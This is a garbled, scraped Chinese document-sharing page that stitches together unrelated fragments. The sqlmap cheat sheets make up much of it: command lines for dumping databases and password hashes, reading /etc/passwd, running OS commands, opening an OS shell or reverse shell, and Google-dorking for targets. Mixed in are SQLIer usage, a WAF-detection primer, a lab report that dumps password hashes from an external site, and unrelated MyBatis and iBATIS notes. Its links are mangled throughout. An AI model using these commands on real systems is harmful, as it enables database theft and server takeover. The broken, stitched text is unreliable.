测试许多款sql注入工具最终还是发现sqlmap最为强悍谁用谁知道!
赶紧抛弃掉手上一大堆sql注入工具吧:)
测试环境:ubuntu10.10&windows7(x64)sqlmap/1.0-dev(r4405)Python2.7.2
*高版本python可能导致sqlmap报错!
*如使用过程中出错请使用下面最近更新的稳定版本:
https://www.sodocs.net/doc/ac17363999.html,/c0adthmqf1
更新升级:
sqlmap-update
svn checkout https://https://www.sodocs.net/doc/ac17363999.html,/sqlmap/trunk/sqlmap sqlmap-dev
帮助:
sqlmap-h
官方最新文档:https://www.sodocs.net/doc/ac17363999.html,/doc/README.html
******************基本步骤***************
sqlmap-u"http://url/news?id=1"--current-user#获取当前用户名称
sqlmap-u"https://www.sodocs.net/doc/ac17363999.html,/news?id=1"--current-db#获取当前数据库名称
sqlmap-u"https://www.sodocs.net/doc/ac17363999.html,/news?id=1"--tables-D"db_name"#列表名
sqlmap-u"http://url/news?id=1"--columns-T"tablename"users-D"db_name"-v0#列字段sqlmap-u"http://url/news?id=1"--dump-C"column_name"-T"table_name"-D
"db_name"-v0#获取字段内容
******************信息获取******************
sqlmap-u"http://url/news?id=1"--smart--level3--users#smart智能level执行测试等级
sqlmap-u"http://url/news?id=1"--dbms"Mysql"--users#dbms指定数据库类型
sqlmap-u"http://url/news?id=1"--users#列数据库用户
sqlmap-u"http://url/news?id=1"--dbs#列数据库
sqlmap-u"http://url/news?id=1"--passwords#数据库用户密码
sqlmap-u"http://url/news?id=1"--passwords-U root-v0#列出指定用户数据库密码sqlmap-u"http://url/news?id=1"--dump-C"password,user,id"-T"tablename"-D"db_name"--start1--stop20#列出指定字段,列出20条
sqlmap-u"http://url/news?id=1"--dump-all-v0#列出所有数据库所有表
sqlmap-u"http://url/news?id=1"--privileges#查看权限
sqlmap-u"http://url/news?id=1"--privileges-U root#查看指定用户权限
sqlmap-u"http://url/news?id=1"--is-dba-v1#是否是数据库管理员
sqlmap-u"http://url/news?id=1"--roles#枚举数据库用户角色
sqlmap-u"http://url/news?id=1"--udf-inject#导入用户自定义函数(获取系统权限!)sqlmap-u"http://url/news?id=1"--dump-all--exclude-sysdbs-v0#列出当前库所有表sqlmap-u"http://url/news?id=1"--union-cols#union查询表记录
sqlmap-u"http://url/news?id=1"--cookie"COOKIE_VALUE"#cookie注入
sqlmap-u"http://url/news?id=1"-b#获取banner信息
sqlmap-u"http://url/news?id=1"--data"id=3"#post注入
sqlmap-u"http://url/news?id=1"-v1-f#指纹判别数据库类型
sqlmap-u"http://url/news?id=1"--proxy"http://127.0.0.1:8118"#代理注入
sqlmap-u"http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"#指定关键词
sqlmap-u"http://url/news?id=1"--sql-shell#执行指定sql命令
sqlmap-u"http://url/news?id=1"--file/etc/passwd
sqlmap-u"http://url/news?id=1"--os-cmd=whoami#执行系统命令
sqlmap-u"http://url/news?id=1"--os-shell#系统交互shell
sqlmap-u"http://url/news?id=1"--os-pwn#反弹shell
sqlmap-u"http://url/news?id=1"--reg-read#读取win系统注册表
sqlmap-u"http://url/news?id=1"--dbs-o"sqlmap.log"#保存进度
sqlmap-u"http://url/news?id=1"--dbs-o"sqlmap.log"--resume#恢复已保存进度sqlmap-g"google语法"--dump-all--batch#google搜索注入点自动跑出所有字段攻击实例:
sqlmap-u"http://url/news?id=1&Submit=Submit"--cookie="PHPSESSID=41aa833e6d0d 28f489ff1ab5a7531406"--string="Surname"--dbms=mysql--users--password
***********安装最新版本*************
ubuntu通过apt-get install安装的sqlmap版本为0.6
我们通过svn来安装为最新 1.0版
sudo svn checkout https://https://www.sodocs.net/doc/ac17363999.html,/sqlmap/trunk/sqlmap sqlmap-dev
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py
直接执行/home/当前用户/sqlmap-dev/sqlmap.py--version
这样很不方便我们可以设置.bashrc文件
sudo vim/home/当前用户/.bashrc
#任意位置加上:
alias sqlmap='python/home/seclab/sqlmap-dev/sqlmap.py'
该环境变量只对当前用户有效
如果想对所有用户有效可设置全局编辑下面的文件
vim/etc/profile
同样加上:
alias sqlmap='python/home/seclab/sqlmap-dev/sqlmap.py'
重启生效
******************windows7(x64)sqlmap install(SVN)************ https://www.sodocs.net/doc/ac17363999.html,/getit/安装python*修改环境变量
https://www.sodocs.net/doc/ac17363999.html,/en/download安装windows svn client(可省略)
svn checkout https://https://www.sodocs.net/doc/ac17363999.html,/sqlmap/trunk/sqlmap sqlmap-dev安装sqlmap 当然也可以直接装好python环境然后下载官方最新测试的稳定版
https://www.sodocs.net/doc/ac17363999.html,/c0adthmqf1
mybatis 第一天mybatis的基础知识 课程安排: mybatis和springmvc通过订单商品案例驱动 第一天:基础知识(重点,内容量多) 对原生态jdbc程序(单独使用jdbc开发)问题总结 mybatis框架原理(掌握) mybatis入门程序 用户的增、删、改、查 mybatis开发dao两种方法: 原始dao开发方法(程序需要编写dao接口和dao实现类)(掌握) mybaits的mapper接口(相当于dao接口)代理开发方法(掌握)mybatis配置文件SqlMapConfig.xml mybatis核心: mybatis输入映射(掌握) mybatis输出映射(掌握) mybatis的动态sql(掌握) 第二天:高级知识 订单商品数据模型分析 高级结果集映射(一对一、一对多、多对多) mybatis延迟加载 mybatis查询缓存(一级缓存、二级缓存) mybaits和spring进行整合(掌握) mybatis逆向工程 1对原生态jdbc程序中问题总结 1.1环境 java环境:jdk1.7.0_72 eclipse:indigo mysql:5.1
1.2创建mysql数据 导入下边的脚本: sql_table.sql:记录表结构 sql_data.sql:记录测试数据,在实际企业开发中,最后提供一个初始化数据脚本 1.3jdbc程序 使用jdbc查询mysql数据库中用户表的记录。 创建java工程,加入jar包: 数据库驱动包(mysql5.1) 上边的是mysql驱动。 下边的是oracle的驱动。 程序代码: 1.4问题总结 1、数据库连接,使用时就创建,不使用立即释放,对数据库进行频繁连接开启和关闭,造成数据库资源浪费,影响数据库性能。 设想:使用数据库连接池管理数据库连接。 2、将sql语句硬编码到java代码中,如果sql 语句修改,需要重新编译java代码,不利于
大量的现代企业采用Web应用程序与其客户无缝地连接到一起,但由于不正确的编码,造成了许多安全问题。Web应用程序中的漏洞可使黑客获取对敏感信息(如个人数据、登录信息等)的直接访问。 Web应用程序准许访问者提交数据,并可通过互联网从数据库中检索数据。而数据库是多数Web应用程序的心脏。数据库维持着Web应用程序将特定内容交给访问者的数据,Web应用程序在将信息交给客户、供应商时,也从数据库取得数据。 SQL注入攻击是最为常见的Web应用程序攻击技术,它会试图绕过SQL命令。在用户输入没有“净化”时,如果执行这种输入便会表现出一种SQL注入漏洞。 检查SQL注入漏洞主要涉及到两方面,一是审计用户的Web应用程序,二是通过使用自动化的SQL注入扫描器执行审记的最佳方法。在此,笔者罗列了一些对Web应用程序开发人员和专业的安全审计人员有价值的SQL注入扫描程序。 一、SQLIer SQLIer可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。通过这种方法,它可以生成一个UNION SELECT查询,进而可以强力攻击数据库口令。这个程序在利用漏洞时并不使用引号,这意味着它可适应多种网站。 SQLIer通过“true/false”SQL注入漏洞强力口令。借助于“true/false” SQL注入漏洞强力口令,用户是无法从数据库查询数据的,只能查询一个可返回“true”、“false”值的语句。 据统计,一个八个字符的口令(包括十进制ASCII代码的任何字符)仅需要大约1分钟即可破解。 其使用语法如下,sqlier [选项] [URL] 。其选项如下: -c :[主机] 清除主机的漏洞利用信息 -s :[秒]在网页请求之间等待的秒数 -u:[用户名]从数据库中强力攻击的用户名,用逗号隔开。 -w:[选项]将[选项]交由wget 此外,此程序还支持猜测字段名,有如下几种选择: --table-names [表格名称]:可进行猜测的表格名称,用逗号隔开。 --user-fields[用户字段]:可进行猜测的用户名字段名称,用逗号隔开。 --pass-fields [口令字段]:可进行猜测的口令字段名称,用逗号隔开。 下面说一下其基本用法: 例如,假设在下面的URL中有一个SQL注入漏洞: https://www.sodocs.net/doc/ac17363999.html,/sqlihole.php?id=1 我们运行下面这个命令: sqlier -s 10 https://www.sodocs.net/doc/ac17363999.html,/sqlihole.php?id=1从数据库中得到足够的信息,以利用其口令,其中的数字“10”表示要在每次查询之间等待10秒钟。 如果表格、用户名字段、口令字段名猜测得正确,那么漏洞利用程序会把用户名交付查询,准备从数据库中强力攻击口令。 sqlier -s 10 https://www.sodocs.net/doc/ac17363999.html, -u BCable,administrator,root,user4 然而,如果内建的字段/表格名称没有猜中正确的字段名,用户就可以执行: sqlier -s 10 https://www.sodocs.net/doc/ac17363999.html, --table-names [table_names] --user-fields [user_fields] --pass-fields [pass_fields]
详解强大的SQL注入工具——SQLMAP Akast [N.S.T] 1. 前言 Windows下的注入工具好的又贵,免费的啊D、明小子等又不好用,我们根本没必要花 时间去找什么破解的havij、pangolin什么的,特别是破解的工具很可能被绑了木马。其实Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入工具。 就如backtrack系统里面就有非常丰富的注入工具,对MSSQL、MYSQL、oracle等各种 数据库的应有尽有了,而且这些工具都是免费的,并且是开放源代码的,我们还可以用来修改为合适自己使用的注入工具。 本文给大家介绍的SqlMap是一个开放源码的渗透测试工具,它可以自动探测和利用SQL 注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。 2. SQLMAP命令详解 为了方便使用我把sqlmap的选项都翻译出来了,当然可能会存在一些不恰当的地方, 请大家指出,可以给我发邮件:akast@https://www.sodocs.net/doc/ac17363999.html,。如果我有时间会把这个工具出个中文版。 Options(选项): --version 显示程序的版本号并退出 -h, --help 显示此帮助消息并退出 -v VERBOSE 详细级别:0-6(默认为1) Target(目标): 以下至少需要设置其中一个选项,设置目标URL。 -d DIRECT 直接连接到数据库。 -u URL, --url=URL 目标URL。 -l LIST 从Burp或WebScarab代理的日志中解析目标。 -r REQUESTFILE 从一个文件中载入HTTP请求。 -g GOOGLEDORK 处理Google dork的结果作为目标URL。 -c CONFIGFILE 从INI配置文件中加载选项。 Request(请求):: 这些选项可以用来指定如何连接到目标URL。 --data=DATA 通过POST发送的数据字符串 --cookie=COOKIE HTTP Cookie头 --cookie-urlencode URL 编码生成的cookie注入 --drop-set-cookie 忽略响应的Set - Cookie头信息
Mybatis 学习笔记 1. mybatis 是什么? ● mybatis 是一个持久层的框架,是apache 下的顶级项目。 ● mybatis 让程序将主要精力放在sql 上,通过mybatis 提供的映射方式,自由灵活生成(半自动化, 大部分需要程序员编写sql )满足需要sql 语句。 ● mybatis 可以将向 preparedStatement 中的输入参数自动进行输入映射,将查询结果集灵活映射成java 对象。(输出映射) 2. mybatis 框架
3. 一个原始查询代码 4. “主键”生成及返回 mysql自增主键 a)执行insert提交之前自动生成一个自增主键。通过mysql函数LAST_INSERT_ID()获取到刚插入记录 的自增主键。是insert之后调用此函数。
?mysql UUID主键 使用mysql的uuid()函数生成主键,需要修改表中id字段类型为string,长度设置成35位。 执行思路:先通过uuid()查询到主键,将主键输入到sql语句中。执行uuid()语句顺序相对于insert语句之前执行。 ?Oracle序列主键
这个界面可以参考: D:\BTOPS2012\Client\https://www.sodocs.net/doc/ac17363999.html,erManage\ControlChannel.cs,FormChannel.cs 1.VS2010版做repositoryItemLookUpEdit,有两种方法可参考。 2.添加和删除从表(小加减) 一、任务在(权限配置管理》通路管理)中 1.主表:SYS_CHANNEL通路定义表 从表:SYS_CHANNEL_CONFIG通路配置表 2.参照“单证费目清单”:在(费收管理系统》费收代码维护》单证费目清单)中 3.界面控制在:D:\BTOPS2012\Client\https://www.sodocs.net/doc/ac17363999.html,erManage\UserManageControl.cs中 4.可参照:笔记(码头管理)一、1-7 二、4.26 1.控件“layoutControl”包含: layoutControl、layoutControlGroup; 其中的Item是来自外界的控件,直接拖进去的,大小无法修改,各控件位置可调换,都类似于固定存在的Dock的“Fill”属性。 已解决: 2.问题:界面:菜单栏的隔断线如何做? 回答:先添加好各菜单按钮,然后选择某一按钮右击:"Begin a Group" 三、4.27 1.命名空间中出现红色波浪线:“缺少程序集引用”: *在项目的引用中添加引用。 *如果找不到该引用,就在项目Infrastructure\https://www.sodocs.net/doc/ac17363999.html,mon中找到该名称重新生成一下,若还是没有可添加项,在别处找到一样的复制路径,再“浏览”“.DLL”文件。 2.引用出现:感叹号,重新引用。 3.报错:“命名空间被当作类型来使用”:把命名空间添加到类型前。 “兰色体是某某之间不明确的引用”:选择一个,添加到兰色体前。 4.死循环: 当生成成功而运行出现死循环时,要检查Bll文件中是否重复创建了自身的对象,改成
第3章内置组件的应用 作者:ThinkGem 更新日期:2014-01-05 1.常用组件 1.1.布局组件 布局文件配置: / jeesite/src/main/webapp/WEB-INF/decorators.xml 默认布局文件: / jeesite/src/main/webapp/WEB-INF/views/layouts/default.jsp 非公共,自己建立的布局文件: / jeesite/src/main/webapp/WEB-INF/views/模块路径/layouts/布局文件.jsp 使用布局文件: JSP的head里添加:
1.2.用户工具UserUtils.java fns.tld 应用场景:在java文件或jsp页面上,获取当前用户相关信息 1.获取当前用户: 1)UserUtils.getUser(); 2)entity.currentUser() 3)${fns:getUser()} 2.获取当前用户部门: 1)UserUtils.getOfficeList() 2)${fns:getOfficeList()} 3.获取当前用户区域: 1)UserUtils.getAreaList() 2)${fns:getAreaList()} 4.获取当前用户菜单: 1)UserUtils.getMenuList() 2)${fns:getMenuList()} 5.获取当前用户缓存: 1)UserUtils.getCache(key); 2)${fns:getCache(cacheName, defaultValue)} 6.设置当前用户缓存: 1)UserUtils.putCache(key); 1.3.全局缓存CacheUtils.java 应用场景:系统字典 1.设置应用程序缓存:CacheUtils.put(key); 2.获取应用程序缓存:CacheUtils.get(key); 1.4.字典工具DictUtils.java 应用场景:系统全局固定的字典数据,java或jsp中获取字典相关数据。
ibatis使用总结 SqlMap的配置是iBatis中应用的核心。这部分任务占据了iBatis开发的70的工作量。 1、命名空间:
WAF(Web应用防火墙)浅析 1、关于WAF WAF(Web Application Firewall,Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 WAF基本上可以分为以下几类。 (1)软件型WAF 以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。 (2)硬件型WAF 以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截。 (3)云WAF 一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。 (4)网站系统内置的WAF
网站系统内置的WAF也可以说是网站系统中内置的过滤,直接镶嵌在代码中,相对来说自由度高,一般有以下这几种情况。 ●输入参数强制类型转换(intval等)。 ●输入参数合法性检测。 ●关键函数执行(SQL执行、页面显示、命令执行等)前,对经过代码流程的输入进行检测。 ●对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)。 网站系统内置的WAF与业务更加契合,在对安全与业务都比较了解的情况下,可以更少地收到误报与漏报。 2、WAF判断 下面介绍判断网站是否存在WAF的几种方法。 (1)SQLMap 使用SQLMap中自带的WAF识别模块可以识别出WAF的种类,但是如果按下面装的WAF并没有什么特征,SQLMap就只能识别出类型是Generic。 2)手工判断 这个也比较简单,直接在相应网站的URL后面加上最基础的测试语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,本例里使用的是参数aaa,如图2所示,触发了WAF的防护,所以网站存在WAF 因为这里选取了一个不存在的参数,所以实际并不会对网站系统的执行流程造成任何影响,此时被拦截则说明存在WAF。
1.介绍 Abator 是一款iBATIS代码生成工具。它从数据库获取信息,然后产生如下文件。 1)数据库表的SqlMap.xml file 文件,如UserSQL.xml; 2)数据库表的Java Bean Model,如User.java; 3)包含一个综合主键的数据库表的主键model,如UserKey.java; 4)包含DAO层selectByExample方法的example文件, UserExample.java; 5)提供插入、更新、查询、删除方法的DAO接口UserDAO.java; 6)DAO接口的实现类UserDAOImpl.java。 2.安装Abator到MyEclipse(Eclipse)中 1)点击MyEclipse(Eclipse)工具栏中的Help-->software update -->find and install --> search for new features to install --> new remote site。 2)在name处填写abator ,在url处填写https://www.sodocs.net/doc/ac17363999.html,/tools/abator。 3)点击OK,然后点击finish,系统开始安装Abator到MyEclipse(Eclipse)中。 4)Abator插件安装成功后会在file -->new 菜单中看到Abator for iBATIS Configuration File。 3.使用Abator生成程序文件 1)在MyEclipse(Eclipse)中,点击File --> new 选择Abator for iBATIS Configuration File,创建 一个名叫做abatorConfig.xml的配置文件。 2)修改配置文件。下面给出一个示例。
课程名称网络信息安全综合实验实验项目名称SQL注入攻击 一、实验要求 在虚拟机环境查找SQL注入漏洞,通过Metasploit平台的sqlmap攻击实施SQL注入,了解防御措施 二、实验环境 攻击机:BT5r3,IP地址:192.168.200.4 URL:https://www.sodocs.net/doc/ac17363999.html,/004_zhnews/search/detail.php?id=10832 三、实验步骤 1.打开终端,进入Sqlmap目录:cd /pentest/database/sqlmap 2.通过Sqlmap进行注入攻击。 上图可知:sqlmap探测出URL中的id参数存在着SQL注入点,并包含了基于错误的SQL注入点以及UNION查询注入点。 由上图可知后台数据库的版本是MySQL 5.0,Web应用平台为PHP 4.4.9/Apache 1.3.28。 3.通过Sqlmap获取数据库名。
4.通过Sqlmap获取表名。本实验以efair数据库为例:
5.通过Sqlmap获取列名。以efair数据库里的auth_user为例:课看到有password一列: 6.通过Sqlmap导出password列的内容。
由图可知,获取这个web应用后台数据库的所有作者用户账户和口令哈希,并保存为一个本地的txt文件。该文件如下图:
7.查看Sqlmap支持的Shell。 四、实验小结 本次实验过程中,在寻找可进行注入的URL过程中,尝试着对多个URL进行SQL注入,使用“and 1=1”及“and 1=2”确认网站是否有SQL注入漏洞,试验过程中大部分网站都禁止非法语句,最终实验使用URL为乌云网上提供的一个可进行SQL注入的网站。通过本次
ibatis学习笔记(一)>>>>>>>sqlMapConfig.xml文件详解 1.sqlMapConfig.xml配置文件详解: Xml代码 1. 2. 5.
ibatis 开发指南 ibatis Quick Start (5) 准备工作 (5) 构建ibatis 基础代码 (5) ibatis 配置 (11) ibatis 基础语义 (16) XmlSqlMapClientBuilder (16) SqlMapClient (16) SqlMapClient 基本操作示例 (16) OR 映射 (19) ibatis 高级特性 (26) 数据关联 (26) 一对多关联 (26) 一对一关联 (28) 延迟加载 (30) 动态映射 (31) 事务管理 (35) 基于JDBC 的事务管理机制 (35) 基于JTA 的事务管理机制 (36) 外部事务管理 (38) Cache (39) MEMORY 类型Cache 与WeakReference (40) LRU 型Cache (42) FIFO 型Cache (43) OSCache (43) ibatis 开发指南 相对Hibernate 和Apache OJB 等“一站式”ORM 解决方案而言,ibatis 是一种“半 自动化”的ORM 实现。 所谓“半自动”,可能理解上有点生涩。纵观目前主流的ORM ,无论Hibernate 还是Apache OJB,都对数据库结构提供了较为完整的封装,提供了从POJO 到数据库表的全 套映射机制。程序员往往只需定义好了POJO 到数据库表的映射关系,即可通过Hibernate 或者OJB 提供的方法完成持久层操作。程序员甚至不需要对SQL 的熟练掌握,Hibernate/OJB 会根据制定的存储逻辑,自动生成对应的SQL 并调用JDBC 接口加以执行。 大多数情况下(特别是对新项目,新系统的开发而言) ,这样的机制无往不利,大有一 统天下的势头。但是,在一些特定的环境下,这种一站式的解决方案却未必灵光。 在笔者的系统咨询工作过程中,常常遇到以下情况: 1.系统的部分或全部数据来自现有数据库,处于安全考虑,只对开发团队提供几 条Select SQL(或存储过程)以获取所需数据,具体的表结构不予公开。 2.开发规范中要求,所有牵涉到业务逻辑部分的数据库操作,必须在数据库层由 存储过程实现(就笔者工作所面向的金融行业而言,工商银行、中国银行、交
iBATIS SQL Maps 入门教程Page 1 of 10 iBATIS SQL Maps 入门教程 Version 2.0 2004年6月17日 Clinton Begin 著 刘涛译 https://www.sodocs.net/doc/ac17363999.html, Clinton Begin 著刘涛(toleu@https://www.sodocs.net/doc/ac17363999.html,) 译iBATIS SQL Maps 入门教程Page 2 of 10
简介 本文是刜学者的快速入门教程,涵盖了SQL Map的一个简单而典型的应用。每个主题更详细的信息可以参考《iBatis SQL Maps 2.0 开发指南》。 本文是《iBatis SQL Maps Tutorial》的中文版,仅供读者参考。最权威的以Clinton Begin的官方文档为准,它可以从https://www.sodocs.net/doc/ac17363999.html,网站下载。如果中文翻译有错误,请通知译者(email:toleu@https://www.sodocs.net/doc/ac17363999.html,,Blog:https://www.sodocs.net/doc/ac17363999.html,/)。 准备使用SQL Map SQL Map架构能应用于设计不好的数据库模型甚至是设计不好的对象模型。尽管如此,您在设计数据库模型和对象模型时,还是应该遵循最佳的设计原则。这样,您会获得更好的性能和更简洁清晰的设计方案。 设计最容易开始的地方是分析应用的业务逻辑。分析什么是应用的业务对象,什么是数据模型以及两者乊间的关系。作为快速入门第一个例子,我们使用一个简单的Java Bean Person类。Person.java package examples.domain; //imports implied…. public class Person { private int id; private String firstName; private String lastName; private Date birthDate; private double weightInKilograms; private double heightInMeters; public int getId () { return id; } public void setId (int id) { https://www.sodocs.net/doc/ac17363999.html, Clinton Begin 著刘涛(toleu@https://www.sodocs.net/doc/ac17363999.html,) 译iBATIS SQL Maps 入门教程Page 3 of 10
0.0 2004.8.1 夏昕第一版 1.0 2004.9.1 夏昕补充ibatis in Spring 部分 OpenDoc 版权说明 本文档版权归原作者所有。 在免费、且无任何附加条件的前提下,可在网络媒体中自由传播。 如需部分或者全文引用,请事先征求作者意见。 如果本文对您有些许帮助,表达谢意的最好方式,是将您发现的问题和文档改进意见及时反馈给 作者。当然,倘若有时间和能力,能为技术群体无偿贡献自己的所学为最好的回馈。 另外,笔者近来试图就日本、印度的软件开发模式进行一些调研。如果诸位可以赠阅日本、印度 软件研发过程中的需求、设计文档以供研究,感激不尽! ibatis 开发指南 ibatis Quick Start (5) 准备工作 (5) 构建ibatis 基础代码 (5) ibatis 配置 (11) ibatis 基础语义 (16) XmlSqlMapClientBuilder (16) SqlMapClient (16) SqlMapClient 基本操作示例 (16) OR 映射 (19) ibatis 高级特性 (26) 数据关联 (26) 一对多关联 (26) 一对一关联 (28) 延迟加载 (30) 动态映射 (31) 事务管理 (35) 基于JDBC 的事务管理机制 (35) 基于JTA的事务管理机制 (36) 外部事务管理 (38) Cache (39) MEMORY类型Cache 与WeakReference (40) LRU 型Cache (42) FIFO 型Cache (43) OSCache (43) ibatis 开发指南 相对Hibernate 和Apache OJB 等“一站式”ORM 解决方案而言,ibatis 是一种“半 自动化”的ORM 实现。 所谓“半自动”,可能理解上有点生涩。纵观目前主流的ORM ,无论Hibernate 还是Apache OJB,都对数据库结构提供了较为完整的封装,提供了从POJO 到数据库表的全
测试许多款sql注入工具最终还是发现sqlmap最为强悍谁用谁知道! 赶紧抛弃掉手上一大堆sql注入工具吧:) 测试环境:ubuntu10.10&windows7(x64)sqlmap/1.0-dev(r4405)Python2.7.2 *高版本python可能导致sqlmap报错! *如使用过程中出错请使用下面最近更新的稳定版本: https://www.sodocs.net/doc/ac17363999.html,/c0adthmqf1 更新升级: sqlmap-update svn checkout https://https://www.sodocs.net/doc/ac17363999.html,/sqlmap/trunk/sqlmap sqlmap-dev 帮助: sqlmap-h 官方最新文档:https://www.sodocs.net/doc/ac17363999.html,/doc/README.html ******************基本步骤*************** sqlmap-u"http://url/news?id=1"--current-user#获取当前用户名称 sqlmap-u"https://www.sodocs.net/doc/ac17363999.html,/news?id=1"--current-db#获取当前数据库名称 sqlmap-u"https://www.sodocs.net/doc/ac17363999.html,/news?id=1"--tables-D"db_name"#列表名 sqlmap-u"http://url/news?id=1"--columns-T"tablename"users-D"db_name"-v0#列字段sqlmap-u"http://url/news?id=1"--dump-C"column_name"-T"table_name"-D "db_name"-v0#获取字段内容 ******************信息获取****************** sqlmap-u"http://url/news?id=1"--smart--level3--users#smart智能level执行测试等级
广西移动电子商城 任亮
1.项目背景介绍 随着中国通信行业竞争程度的加剧,竞争的形态也发生了巨大的变化,从以产品、价格为主的竞争转向以服务为主的竞争,服务成为主导竞争格局的重要因素。渠道作为企业完成客户沟通、产品/服务交换过程以及实现价值、产生效益的重要载体,发挥了采集、传达客户和竞争对手等市场信息,为买卖双方提供便利,协调供需矛盾,为客户提供合适的产品与服务,向客户传递产品/服务信息,实现营销/服务目标等重要的功能。 广西移动上线移动商城,一方面可以带动传统业务绩效提升,增强客户满意度和粘性,另一方面,也为基于互联网的商务模式创新奠定基础。 针对上述行业环境变化和业务战略目标,广西移动在网上终端预约销售基础上,即将启动网上商城建设项目,用于建立网上终端、营销案在线销售及相关辅助功能,包含商品管理、订单管理、类目管理、客户管理、合作商管理、客服管理、购物平台、内容管理等,很大程度上分担了人工的压力,对提高客户服务效率和客户满意度能够起到较好的作用。 基于此,广西移动提出建设网上商城建设项目工程。 1.1系统边界 网上商城系统边界的如下图: ●网上商城作为电子渠道触点系统,负责面向互联网客户(包括个人客户和合作企业客户) 提供电子商务类营销、销售及服务支持。网上商城的业务实现需要通过统一管理平台获得包括客户管理、产品管理、渠道协同、结算、合作伙伴管理等功能支持。 ●统一管理平台面向前端各电子渠道触点系统,提供运营集成、运营监控、流程管理等功 能,并有效地将后端CRM、BOSS、ERP、等系统对接,同时与其他业务系统10086、第三
方物流对接,以服务总线的形式给网上商城使用。 1.2 功能架构 系统的功能架构如下图: 功能划分上主要分为系统前台、系统后台和内容维护三个部分。 主要功能
1.Mybatis入门 从一个jdbc程序开始 public static void main(String[] args) { Connection connection = null; PreparedStatement preparedStatement = null; ResultSet resultSet = null; try { //加载数据库驱动 Class.forName("com.mysql.jdbc.Driver"); //通过驱动管理类获取数据库链接 connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mybatis?charac terEncoding=utf-8", "root", "mysql"); //定义sql语句 ?表示占位符 String sql = "select * from user where username = ?"; //获取预处理statement preparedStatement = connection.prepareStatement(sql); //设置参数,第一个参数为sql语句中参数的序号(从1开始),第二个参数为设置的参数值 preparedStatement.setString(1, "王五"); //向数据库发出sql执行查询,查询出结果集 resultSet = preparedStatement.executeQuery(); //遍历查询结果集 while(resultSet.next()){ System.out.println(resultSet.getString("id")+" "+resultSet.getString("username")); } } catch (Exception e) { e.printStackTrace(); }finally{ //释放资源 if(resultSet!=null){ try { resultSet.close(); } catch (SQLException e) {
sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。 今天把我一直以来整理的sqlmap笔记发布上来供大家参考。 sqlmap简介 sqlmap支持五种不同的注入模式: ?1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 ?2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。 ?3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 ?4、联合查询注入,可以使用union的情况下的注入。 ?5、堆查询注入,可以同时执行多条语句的执行时的注入。 sqlmap支持的数据库有 MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB 检测注入 基本格式 sqlmap -u “https://www.sodocs.net/doc/ac17363999.html,/post.php?id=1″ 默认使用level1检测全部数据库类型 sqlmap -u “https://www.sodocs.net/doc/ac17363999.html,/post.php?id=1″ –dbms mysql –level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面) 跟随302跳转 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。 cookie注入 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u “https://www.sodocs.net/doc/ac17363999.html,/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie) 从post数据包中注入 可以使用burpsuite或者temperdata等工具来抓取post包 sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数 注入成功后 获取数据库基本信息 sqlmap -u “https://www.sodocs.net/doc/ac17363999.html,/post.php?id=1″ –dbms mysql –level 3 –dbs 查询有哪些数据库 sqlmap -u “https://www.sodocs.net/doc/ac17363999.html,/post.php?id=1″ –dbms mysql –level 3 -D test –tables 查询test数据库中有哪些表 sqlmap -u “https://www.sodocs.net/doc/ac17363999.html,/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns 查询test数据库中admin表有哪些字段